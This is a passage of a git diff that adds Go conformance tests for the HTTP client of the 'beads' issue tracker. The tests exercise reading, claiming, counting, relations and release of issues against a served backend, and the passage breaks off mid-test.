skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the projection it pins — the six heavy columns empty, the "+ + "identity fields and the three cardinalities intact, and IsLitePartial set — is asserted over this "+ + "wire by TestServedReaderReadyBriefDropsTheFreeFormTextAndNothingElse under a label scope") + conformance.RunReaderListBriefDropsTheFreeFormTextAndNothingElse(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyBriefDropsTheFreeFormTextAndNothingElse(t *testing.T) { + conformance.RunReaderReadyBriefDropsTheFreeFormTextAndNothingElse(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderGetBriefDepsProjectsTheDependencyRows is the third, and the +// one that needs no marker at all: `brief_deps` projects the rows of the +// DEPENDENCIES member, and the contract asserts the identity fields survive and +// the free-form text is gone. The detail view's own row is untouched by it. +func TestServedReaderGetBriefDepsProjectsTheDependencyRows(t *testing.T) { + conformance.RunReaderGetBriefDepsProjectsTheDependencyRows(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderGetResolvesTheExactIDAcrossBothPlanes(t *testing.T) { + conformance.RunReaderGetResolvesTheExactIDAcrossBothPlanes(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay(t *testing.T) { + conformance.RunReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderGetOptionalRowListsAreOffByDefault is the shared proof of the +// L4 retirement: the `include_dependents` and `include_comments` parameters this +// client sends are what put the two row lists on `bd show`'s detail view. +func TestServedReaderGetOptionalRowListsAreOffByDefault(t *testing.T) { + conformance.RunReaderGetOptionalRowListsAreOffByDefault(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderGetDetailShapeMatchesTheSeededIssue(t *testing.T) { + conformance.RunReaderGetDetailShapeMatchesTheSeededIssue(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderGetPopulatesRowVersionForAGuardedWrite is HIGH 5's pin. +// +// types.Issue.RowVersion is json:"-" (internal/types/types.go), so a bare +// decode of getIssue's response body leaves it at zero; the wire's only +// spelling of the token is the detail view's sibling `revision` string, which +// Reader.Get must stitch back on. A read alone cannot tell a stitched zero +// from a real one that happens to equal it on a fresh table, so this proves it +// the way a caller actually consumes RowVersion: by GUARDING A WRITE with +// whatever Get just answered, over the same wire, and requiring the guard to +// be real rather than decorative. +// +// The second Update reuses the SAME (now-stale) token. If Get had answered 0 +// — the bug this pins against — the first Update's own post-write token would +// also have nothing to do with it, and there would be no way for this case to +// tell "the guard matched" from "the guard was never checked". Requiring the +// REUSE to refuse is what rules that out: it only refuses if the first write +// really did move the row past the exact version Get reported. +func TestServedReaderGetPopulatesRowVersionForAGuardedWrite(t *testing.T) { + env := newServedEnv(t, "rdrv") + reader, err := env.subject.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + issue := &types.Issue{Title: "row version round trip", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(t.Context(), issue, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + details, err := reader.Get(t.Context(), issueops.GetRequest{ID: issue.ID}) + if err != nil { + t.Fatalf("Get: %v", err) + } + if details.RowVersion == 0 { + t.Fatalf("Get answered RowVersion 0 (Revision %q); want the row's real token", details.Revision) + } + staleVersion := details.RowVersion + + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("first guarded write")}, + }); err != nil { + t.Fatalf("Update guarded by the token Get answered: %v", err) + } + + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("second guarded write, same stale token")}, + }) + if err == nil { + t.Fatal("Update reused Get's token after a write moved the row past it; want a version-guard refusal") + } +} + +func TestServedReaderDoesNotMutateTheCallerRequest(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the List leg of the tripwire scopes itself with IDFilter; the promise is exercised over this wire "+ + "by TestServedReaderDoesNotMutateTheCallerRequestOverTheWire") + conformance.RunReaderDoesNotMutateTheCallerRequest(t, t.Context(), servedReaderFixture(t, "rdr")) +} diff --git a/internal/httpclient/served_ready_claimer_test.go b/internal/httpclient/served_ready_claimer_test.go new file mode 100644 index 000000000..4552b1568 --- /dev/null +++ b/internal/httpclient/served_ready_claimer_test.go @@ -0,0 +1,155 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_ready_claimer_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The ReadyClaimer contract against the served surface, and the tier is WHOLE: +// eleven entrypoints, nothing parked. +// +// THIS FILE USED TO OPEN BY CALLING THE ROLE COMPOSED, and the sentence is worth +// keeping as a record rather than deleting: "the wire publishes no claimNext, so +// a claim of the next ready row is a listing followed by claims down it". That +// stopped being true when upstream published POST /v0/beads/issues:claimNext +// (#5510), and client wave ga-jpywb dials it — so what the contract runs against +// here is ONE atomic operation, and the two parks the composition owed are gone +// with it. +// +// The composition SURVIVES as the down-level leg, capability-gated exactly as +// BatchCloser's does, so `bd ready --claim` keeps working against a server older +// than the operation. That leg is not what this file measures — a server that +// advertises the token never reaches it — and its own coverage is the stub-driven +// unit case beside L14. +// +// THREE OF THESE CASES USED TO PARK on the reader accessor: each establishes +// its control by asking this backend's OWN Reader.Ready what the front holds, +// and the reader was another bead's flip. That bead has landed, so the reader +// is bound below and the three run for real — which is what the park said would +// happen, and is why a park's retirement condition is worth writing down. +// +// THE OTHER TWO PARKS WERE THE COMPOSITION'S, and both retire here for the same +// reason rather than for two: a wisp id was not claimable through `claimIssue`, +// and a lease was written by a transaction the client never entered. The claim is +// now the SERVER's role in one transaction, so an ephemeral row the filter admits +// is claimed and a durable win writes its lease — neither of which was ever a +// fact about the wire's vocabulary, only about what a two-call composition could +// reach. + +func newServedReadyClaimerFixture(t *testing.T, prefix string) conformance.ReadyClaimerFixture { + t.Helper() + env := newServedEnv(t, prefix) + claimer, err := env.subject.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + reader, err := env.subject.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + return conformance.ReadyClaimerFixture{ + IssuePrefix: env.prefix, + Claimer: claimer, + // The SUBJECT's reader, deliberately, not the reference store's: the + // cases that use it compare two of this backend's surfaces against each + // other, and binding the server's reader would compare the server to + // itself and prove nothing about the client. + Reader: reader, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +func TestServedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor(t *testing.T) { + conformance.RunReadyClaimerRejectsLimitOffsetBriefAndEmptyActor(t, t.Context(), newServedReadyClaimerFixture(t, "hrc1")) +} + +func TestServedReadyClaimerEmptyFrontIsNormal(t *testing.T) { + conformance.RunReadyClaimerEmptyFrontIsNormal(t, t.Context(), newServedReadyClaimerFixture(t, "hrc2")) +} + +func TestServedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState(t *testing.T) { + conformance.RunReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState(t, t.Context(), newServedReadyClaimerFixture(t, "hrc3")) +} + +// TestServedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits was PARKED for as +// long as the role was composed, and the park named its own retirement: "the +// composition cannot bridge that; a claimNext operation would." It did. +func TestServedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits(t *testing.T) { + conformance.RunReadyClaimerClaimsAnEphemeralRowTheFilterAdmits(t, t.Context(), newServedReadyClaimerFixture(t, "hrc4")) +} + +func TestServedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet(t *testing.T) { + conformance.RunReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet(t, t.Context(), newServedReadyClaimerFixture(t, "hrc5")) +} + +// TestServedReadyClaimerLeasesADurableWinButNotAnEphemeralOne runs now, and the +// park it replaces was half right about why it could not. +// +// "The wire has no lease vocabulary" is still true and was never the obstacle: +// the case reads the lease table OUT OF BAND, through the reference store, so +// what it needs is a claim that WRITES one — which the server's own role does +// inside the claiming transaction. What actually blocked it was the ephemeral +// half, and that was the composition's limit rather than the wire's. +func TestServedReadyClaimerLeasesADurableWinButNotAnEphemeralOne(t *testing.T) { + conformance.RunReadyClaimerLeasesADurableWinButNotAnEphemeralOne(t, t.Context(), newServedReadyClaimerFixture(t, "hrc6")) +} + +// TestServedReadyClaimerAnswersTheQuestionReaderReadyLists asks BOTH of this +// backend's surfaces one question and compares them. It is the strongest case +// in the file now that both are wired: the listing and the claim reach the +// server through two different operations and two different encodings, so an +// agreement here is an agreement about the CLIENT rather than about the server. +func TestServedReadyClaimerAnswersTheQuestionReaderReadyLists(t *testing.T) { + conformance.RunReadyClaimerAnswersTheQuestionReaderReadyLists(t, t.Context(), newServedReadyClaimerFixture(t, "hrc7")) +} + +// TestServedReadyClaimerSkipsIneligibleFrontRows is the case with the most to +// say about the composition: the loop must walk past rows a racing agent +// already took instead of reporting an empty front. It establishes its control +// by asking Reader.Ready that the taken rows are on the front at all, which is +// what it needed the reader for. +// TestReadyClaimWalksPastLostRacesAndHydratesFromThePage drives the same loop +// against a stub transport; this one drives it against a server. +func TestServedReadyClaimerSkipsIneligibleFrontRows(t *testing.T) { + conformance.RunReadyClaimerSkipsIneligibleFrontRows(t, t.Context(), newServedReadyClaimerFixture(t, "hrc8")) +} + +func TestServedReadyClaimerRecordsOneHistoryEntryForAWin(t *testing.T) { + conformance.RunReadyClaimerRecordsOneHistoryEntryForAWin(t, t.Context(), newServedReadyClaimerFixture(t, "hrc9")) +} + +func TestServedReadyClaimerDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunReadyClaimerDoesNotMutateTheCallerRequest(t, t.Context(), newServedReadyClaimerFixture(t, "hrca")) +} + +// TestServedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven is +// the dropped-filter case, and it is the one that says most about the port: the +// filter no longer travels as a page this client walks, it travels as the query +// string the server's own ready decode reads — the SAME function GET +// /v0/beads/ready goes through. A member this client failed to encode would take +// the top-priority decoy every arm is built around. +func TestServedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven(t *testing.T) { + conformance.RunReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven(t, t.Context(), newServedReadyClaimerFixture(t, "hrcb")) +} + +// TestServedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities is the +// case the composition could never have passed honestly. +// +// The composed claim took its cardinalities from the READY PAGE and its row from +// the claim response, which L14's third residue recorded as staleness bounded by +// the fetch-to-dial window. The operation hydrates the winner INSIDE the +// committing transaction, so the counts describe the state the claim produced — +// and the client's only job is not to recompute them. +func TestServedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities(t *testing.T) { + conformance.RunReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities(t, t.Context(), newServedReadyClaimerFixture(t, "hrcc")) +} diff --git a/internal/httpclient/served_readycounter_test.go b/internal/httpclient/served_readycounter_test.go new file mode 100644 index 000000000..2c57f5b3c --- /dev/null +++ b/internal/httpclient/served_readycounter_test.go @@ -0,0 +1,82 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_readycounter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/issueops" +) + +// The ReadyCounter contract, run through the composition (design D8 row 2). +// +// Its central promise is an IDENTITY with the listing — CountReady(r).Total == +// len(Reader.Ready(r with Limit=0).Items) — so the fixture binds BOTH roles off +// the http client and the identity is proved end to end over two separate +// operations, countReadyWork and listReadyWork. On this backend that is a +// stronger statement than it is locally: the two answers are assembled by two +// different handlers on the server AND by two different encodings on the way +// there, and the encoder's shared filter list is what keeps them one question. + +func servedReadyCounterFixture(t *testing.T, name string) conformance.ReadyCounterFixture { + t.Helper() + c := composition(t) + f := c.fixture(t) + counter := bindRole(t, f, func(s *Store) (issueops.ReadyCounter, error) { return s.ReadyCounter() }) + reader := bindRole(t, f, func(s *Store) (issueops.Reader, error) { return s.IssueReader() }) + return conformance.ReadyCounterFixture{ + IssuePrefix: servedIssuePrefix + "-" + name, + ReadyCounter: counter, + Reader: reader, + CreateIssue: c.seedIssue, + CreateWisp: c.seedIssue, + AddDependency: c.seedDependency, + // The raw-row read the status case needs. Both surfaces it compares hide + // a row this role must not count, so neither can tell "excluded" from + // "never seeded" — and a nil hook here is a SKIP, which this tier treats + // as a failure. + QueryScalar: c.queryScalar, + CountHistory: c.countHistory, + } +} + +func TestServedReadyCounterEqualsTheUnboundedPage(t *testing.T) { + conformance.RunReadyCounterEqualsTheUnboundedPage(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterRejectsLimitAndOffset(t *testing.T) { + conformance.RunReadyCounterRejectsLimitAndOffset(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterCountsTheBlockerAwareSet(t *testing.T) { + conformance.RunReadyCounterCountsTheBlockerAwareSet(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterEphemeralGateMatchesTheListing(t *testing.T) { + conformance.RunReadyCounterEphemeralGateMatchesTheListing(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +// TestServedReadyCounterCountsOnlyTheOpenRowsItsListingLists is the status half +// of the identity: an in-progress row and a closed one are outside the ready +// front, and the count has to exclude them for the same reason the listing does. +// It reads both seeds back through QueryScalar first, because a count that +// excluded them and a seed that never landed are the same number. +func TestServedReadyCounterCountsOnlyTheOpenRowsItsListingLists(t *testing.T) { + conformance.RunReadyCounterCountsOnlyTheOpenRowsItsListingLists(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterEmptyFrontIsZeroAndNil(t *testing.T) { + conformance.RunReadyCounterEmptyFrontIsZeroAndNil(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterWritesNothing(t *testing.T) { + conformance.RunReadyCounterWritesNothing(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} + +func TestServedReadyCounterDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunReadyCounterDoesNotMutateTheCallerRequest(t, t.Context(), servedReadyCounterFixture(t, "rc")) +} diff --git a/internal/httpclient/served_relations_test.go b/internal/httpclient/served_relations_test.go new file mode 100644 index 000000000..90982e5df --- /dev/null +++ b/internal/httpclient/served_relations_test.go @@ -0,0 +1,101 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_relations_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The Relations contract, run through the http client against a real bd serve. +// +// NOTHING IS PARKED HERE. The request has three members — the anchor in the +// path, a required direction and a repeatable type filter — and every one is a +// published parameter, so there is no shape for a divergence to live in and no +// W- row. The refusal vocabulary crosses too: the role's three ErrValidation +// refusals are raised client-side in the shared validator's own order, and the +// anchor's miss is a 404 the problem mapper has already turned into +// issueops.ErrNotFound. +// +// WHAT THIS TIER PROVES that no unit test can, and it is the whole reason the +// role's answer is worth checking end to end: +// +// - THE MISS IS SEPARATED FROM THE EMPTY ANSWER by the SERVER, and both +// answers travel. `SeparatesNoNeighborsFromNoSuchIssue` asks for the +// neighbors of a real issue that has none and gets an empty list, then asks +// about an id that names nothing and gets ErrNotFound. This is a single-anchor +// operation, so there is no per-anchor Missing sentinel to fall back on — +// which is exactly why the 404 has to arrive as a refusal rather than as an +// empty page. +// - BOTH HALVES ARE TWO-PLANE. `OrdersNeighborsFromBothPlanesTogether` seeds a +// graph that straddles `dependencies` and `wisp_dependencies` and asserts the +// merged order; `ResolvesAWispAnchor` uses a wisp id AS the anchor, and +// `AnswersAWispTargetInTheOutDirection` puts one on the far end. Every one of +// those is decided inside the server's transaction, and no member of the +// answer says which plane a row came from. +// - THE ORDER IS THE SERVER'S. `AnswersInThePinnedOrder` seeds its edges in +// DESCENDING id order, so a client that re-sorted — or that trusted the +// transport's arrival order — is told apart from one that receives the pinned +// order and leaves it alone. This client re-sorts nothing on purpose: the +// ordering is FinishRelatedPage's, and a second copy of it here is precisely +// the drift that shared body exists to prevent. +// - THE FILTER NARROWS EDGES, NEVER THE ANCHOR. `FiltersByAnOpenTypeVocabulary` +// drives a workspace's own type through the repeatable parameter, which is +// what says the vocabulary really is open on this path: a client that +// validated against a known-types list would refuse a filter the server +// accepts, and one that comma-joined would send a type name that matches +// nothing. +// +// THE ANCHOR-ID EXACTNESS CASE is worth naming separately because its refusal +// changes shape on this leg without changing meaning: `ResolvesTheAnchorIDExactly` +// drives case variants, padding, prefixes and suffixes, and over http several of +// them are turned into the 404 by the SERVER's path bound before the role is +// reached. The answer a caller sees is the same ErrNotFound either way, which is +// what the case asserts. + +func newServedRelationsFixture(t *testing.T, prefix string) conformance.RelationsFixture { + t.Helper() + env := newServedEnv(t, prefix) + relations, err := env.subject.IssueRelations() + if err != nil { + t.Fatalf("IssueRelations(): %v", err) + } + return conformance.RelationsFixture{ + IssuePrefix: env.prefix, + Relations: relations, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + } +} + +func TestServedRelationsContract(t *testing.T) { + fixture := newServedRelationsFixture(t, "hrel") + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.RelationsFixture) + }{ + {"AnswersInThePinnedOrder", conformance.RunRelationsAnswersInThePinnedOrder}, + {"OrdersNeighborsFromBothPlanesTogether", conformance.RunRelationsOrdersNeighborsFromBothPlanesTogether}, + {"AnswersAWispTargetInTheOutDirection", conformance.RunRelationsAnswersAWispTargetInTheOutDirection}, + {"RefusesTheZeroDirection", conformance.RunRelationsRefusesTheZeroDirection}, + {"SeparatesNoNeighborsFromNoSuchIssue", conformance.RunRelationsSeparatesNoNeighborsFromNoSuchIssue}, + {"ResolvesAWispAnchor", conformance.RunRelationsResolvesAWispAnchor}, + {"FiltersByAnOpenTypeVocabulary", conformance.RunRelationsFiltersByAnOpenTypeVocabulary}, + {"RefusesAnUnusableTypeFilter", conformance.RunRelationsRefusesAnUnusableTypeFilter}, + {"RefusesATypeFilterOverTheColumnLength", conformance.RunRelationsRefusesATypeFilterOverTheColumnLength}, + {"DirectionSelectsTheInverseGraph", conformance.RunRelationsDirectionSelectsTheInverseGraph}, + {"LeavesTheCallersRequestAlone", conformance.RunRelationsLeavesTheCallersRequestAlone}, + {"LeavesAnExternalTargetOutOfTheAnswer", conformance.RunRelationsLeavesAnExternalTargetOutOfTheAnswer}, + {"ResolvesTheAnchorIDExactly", conformance.RunRelationsResolvesTheAnchorIDExactly}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_releaser_test.go b/internal/httpclient/served_releaser_test.go new file mode 100644 index 000000000..889640502 --- /dev/null +++ b/internal/httpclient/served_releaser_test.go @@ -0,0 +1,319 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_releaser_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Releaser contract, run through the http client against a real bd serve. +// +// TWO OF THE ELEVEN ARE PARKED, and both parks are about the wire's refusal +// VOCABULARY rather than about a member it cannot carry — the same shape the two +// create parks have, and they retire the same way. The request itself maps +// member for member: actor, the compare-and-set on the holder, force and the +// path, with nothing left over and no W- row. +// +// - L-release-notclaimed. The role splits an unheld row (ErrNotClaimed) from a +// status the transition is not defined over (ErrNotReleasable); the wire +// spells both `not_releasable` under one code with no member telling them +// apart, so this client answers the wider of the two. +// - L-release-notowner. The role's ownership fence is ErrNotOwner; the wire +// answers `already_claimed`, which is what updateIssue already calls the same +// situation, so this client answers ErrAlreadyClaimed. +// +// BOTH PARKS HAVE A RUNNING PIN below asserting the degraded-but-real behavior — +// the refusal is typed, it is the right refusal for the situation, and NOTHING IS +// WRITTEN — so the ledger rows retire loudly rather than sitting behind a skip. +// The rest of the contract crosses whole, including the two halves that are +// easiest to get backwards: a matching expectation RELEASES a claim the caller +// does not hold (a match replaces the fence), and the comparison is +// separator-insensitive and nothing else. + +// releaseParkBead is the bead the release-side parks cite. It is separate from +// the create and write parks because it retires on a different event: a problem +// code, or a member, that separates two refusals the server currently merges. +const releaseParkBead = "ga-f352s" + +func newServedReleaserFixture(t *testing.T, prefix string) conformance.ReleaserFixture { + t.Helper() + env := newServedEnv(t, prefix) + releaser, err := env.subject.Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + return conformance.ReleaserFixture{ + IssuePrefix: env.prefix, + Releaser: releaser, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + } +} + +func TestServedReleaserReleasesItsOwnClaim(t *testing.T) { + conformance.RunReleaserReleasesItsOwnClaim(t, t.Context(), newServedReleaserFixture(t, "hrl1")) +} + +// TestServedReleaserRefusesAForeignClaimUntilForced is PARKED on +// L-release-notowner: the case binds issueops.ErrNotOwner, and the wire answers +// the ownership fence with `already_claimed` — the code updateIssue gives the +// same situation — which this client maps to ErrAlreadyClaimed. +// +// BOTH HALVES of what the case proves are asserted by +// TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed below, which RUNS: the +// stranger is refused with the row untouched, and the forced release then lands. +func TestServedReleaserRefusesAForeignClaimUntilForced(t *testing.T) { + skipKnownDivergence(t, "L-release-notowner", releaseParkBead, + "the case binds issueops.ErrNotOwner; the wire answers the release's ownership fence with `already_claimed`, "+ + "which every other operation on this surface means by ErrAlreadyClaimed (asserted, force half included, by "+ + "TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed)") + conformance.RunReleaserRefusesAForeignClaimUntilForced(t, t.Context(), newServedReleaserFixture(t, "hrl2")) +} + +func TestServedReleaserReleasesOnlyTheExpectedHolder(t *testing.T) { + conformance.RunReleaserReleasesOnlyTheExpectedHolder(t, t.Context(), newServedReleaserFixture(t, "hrl3")) +} + +// TestServedReleaserRefusesAnUnheldIssue is PARKED on L-release-notclaimed: two +// of its three arms bind issueops.ErrNotClaimed, and the wire spells that and +// ErrNotReleasable with one code carrying nothing that tells them apart. +// +// The third arm — a conditional release of an unheld row answers +// ErrAssigneeMismatch — is NOT degraded and is asserted by +// TestServedReleaseAnswersTheUnheldRowAsNotReleasable below, which RUNS, beside +// the two degraded ones. +func TestServedReleaserRefusesAnUnheldIssue(t *testing.T) { + skipKnownDivergence(t, "L-release-notclaimed", releaseParkBead, + "the unconditional and forced arms bind issueops.ErrNotClaimed; the wire spells an unheld row and an "+ + "unreleasable status under one `not_releasable` code, so this client answers the wider ErrNotReleasable "+ + "(asserted, conditional arm included, by TestServedReleaseAnswersTheUnheldRowAsNotReleasable)") + conformance.RunReleaserRefusesAnUnheldIssue(t, t.Context(), newServedReleaserFixture(t, "hrl4")) +} + +func TestServedReleaserRefusesAStatusThatCannotBeReleased(t *testing.T) { + conformance.RunReleaserRefusesAStatusThatCannotBeReleased(t, t.Context(), newServedReleaserFixture(t, "hrl5")) +} + +func TestServedReleaserRefusesAMalformedRequest(t *testing.T) { + conformance.RunReleaserRefusesAMalformedRequest(t, t.Context(), newServedReleaserFixture(t, "hrl6")) +} + +func TestServedReleaserRefusesAnAbsentID(t *testing.T) { + conformance.RunReleaserRefusesAnAbsentID(t, t.Context(), newServedReleaserFixture(t, "hrl7")) +} + +func TestServedReleaserAttributesTheReleaseToTheActor(t *testing.T) { + conformance.RunReleaserAttributesTheReleaseToTheActor(t, t.Context(), newServedReleaserFixture(t, "hrl8")) +} + +func TestServedReleaserRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunReleaserRecordsExactlyOneHistoryEntry(t, t.Context(), newServedReleaserFixture(t, "hrl9")) +} + +// TestServedReleaserReleasesAWispClaimWithoutVersioning is the case that can +// tell the storage legs apart, and it runs here for a reason worth naming: an +// ephemeral release writes a row and changes no versioned table, so a server +// that read the empty table set as "nothing happened" would roll the write back +// and answer this client a wisp that is still claimed. +func TestServedReleaserReleasesAWispClaimWithoutVersioning(t *testing.T) { + conformance.RunReleaserReleasesAWispClaimWithoutVersioning(t, t.Context(), newServedReleaserFixture(t, "hrl10")) +} + +func TestServedReleaserDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunReleaserDoesNotMutateTheCallerRequest(t, t.Context(), newServedReleaserFixture(t, "hrl11")) +} + +// TestServedReleaseAnswersTheUnheldRowAsNotReleasable is L-release-notclaimed's +// pin, and it RUNS. +// +// THREE CLAUSES, and only the first is the divergence. The unheld row is refused +// with ErrNotReleasable rather than ErrNotClaimed — the wider of the two the +// server merges — which is what the ledger row is about. The other two are the +// promises that must NOT have moved with it: nothing is written, so the row and +// its version are exactly as they were, and the CONDITIONAL path still answers +// ErrAssigneeMismatch, because that refusal has a code of its own and never fell +// into the merge. +// +// The third clause is the one that makes this pin worth more than the park it +// replaces: a client that had reported every release refusal as one sentinel +// would pass a two-clause version of this test and fail here. +func TestServedReleaseAnswersTheUnheldRowAsNotReleasable(t *testing.T) { + env := newServedEnv(t, "hrlp1") + releaser, err := env.subject.Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + ctx := t.Context() + + id := env.prefix + "-unheld" + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: "unheld", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + _, _, version := servedRow(t, ctx, env, id) + + for _, tc := range []struct { + name string + request issueops.ReleaseRequest + want error + }{ + {"unconditional", issueops.ReleaseRequest{Actor: "holder", IssueID: id}, issueops.ErrNotReleasable}, + {"forced", issueops.ReleaseRequest{Actor: "reaper", IssueID: id, Force: true}, issueops.ErrNotReleasable}, + {"conditional", issueops.ReleaseRequest{ + Actor: "supervisor", IssueID: id, ExpectedAssignee: strptr("holder"), + }, issueops.ErrAssigneeMismatch}, + } { + t.Run(tc.name, func(t *testing.T) { + _, err := releaser.Release(ctx, tc.request) + if !errors.Is(err, tc.want) { + t.Fatalf("Release(%s) error = %v, want %v", tc.name, err, tc.want) + } + // The role's OTHER sentinel must not arrive: the merge is one + // direction, and a client that answered both would be inventing the + // distinction the wire refused to make. + if errors.Is(err, issueops.ErrNotClaimed) { + t.Errorf("Release(%s) answered ErrNotClaimed, which this wire cannot carry: "+ + "the code covers an unheld row and an unreleasable status alike", tc.name) + } + assertServedRow(t, ctx, env, id, "", types.StatusOpen, version) + }) + } +} + +// TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed is L-release-notowner's +// pin, and it RUNS. +// +// The refusal is ErrAlreadyClaimed rather than ErrNotOwner — the divergence — +// and it arrives as a TYPED *issueops.ClaimConflictError naming the row, which +// is the part that survives whole: the wire leaves the id out because the +// request already said it, and the problem mapper puts it back. +// +// THE FORCED HALF IS WHAT MAKES THE REFUSAL FALSIFIABLE. A client that refused +// every foreign release would pass a refusal-only pin perfectly, and +// refusal-only coverage of a guarded write is half a test. The +// name-the-holder bypass is asserted too, on its own row, because the role +// offers TWO ways past the fence and a pin that checked one would let the other +// rot. +func TestServedReleaseAnswersAForeignHolderAsAlreadyClaimed(t *testing.T) { + env := newServedEnv(t, "hrlp2") + releaser, err := env.subject.Releaser() + if err != nil { + t.Fatalf("Releaser(): %v", err) + } + ctx := t.Context() + + const holder = "hrlp2-holder" + seed := func(name string) string { + t.Helper() + id := env.prefix + "-" + name + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: name, Status: types.StatusInProgress, Assignee: holder, + Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + return id + } + + forced := seed("forced") + _, _, forcedVersion := servedRow(t, ctx, env, forced) + _, err = releaser.Release(ctx, issueops.ReleaseRequest{Actor: "stranger", IssueID: forced}) + if !errors.Is(err, issueops.ErrAlreadyClaimed) { + t.Fatalf("Release() by a stranger error = %v, want ErrAlreadyClaimed", err) + } + if errors.Is(err, issueops.ErrNotOwner) { + t.Errorf("Release() answered ErrNotOwner, which this wire cannot carry: the fence is spelled `already_claimed`") + } + var conflict *issueops.ClaimConflictError + if !errors.As(err, &conflict) { + t.Fatalf("Release() error = %v, want a typed *issueops.ClaimConflictError", err) + } + if conflict.IssueID != forced { + t.Errorf("the conflict names %q, want %q: the wire omits the id because the request said it, and the client puts it back", + conflict.IssueID, forced) + } + assertServedRow(t, ctx, env, forced, holder, types.StatusInProgress, forcedVersion) + + // Force bypasses the fence and nothing else. + result, err := releaser.Release(ctx, issueops.ReleaseRequest{Actor: "reaper", IssueID: forced, Force: true}) + if err != nil { + t.Fatalf("forced Release() error = %v", err) + } + if !result.Changed { + t.Error("Changed = false on a forced release that wrote the row") + } + assertServedRow(t, ctx, env, forced, "", types.StatusOpen, 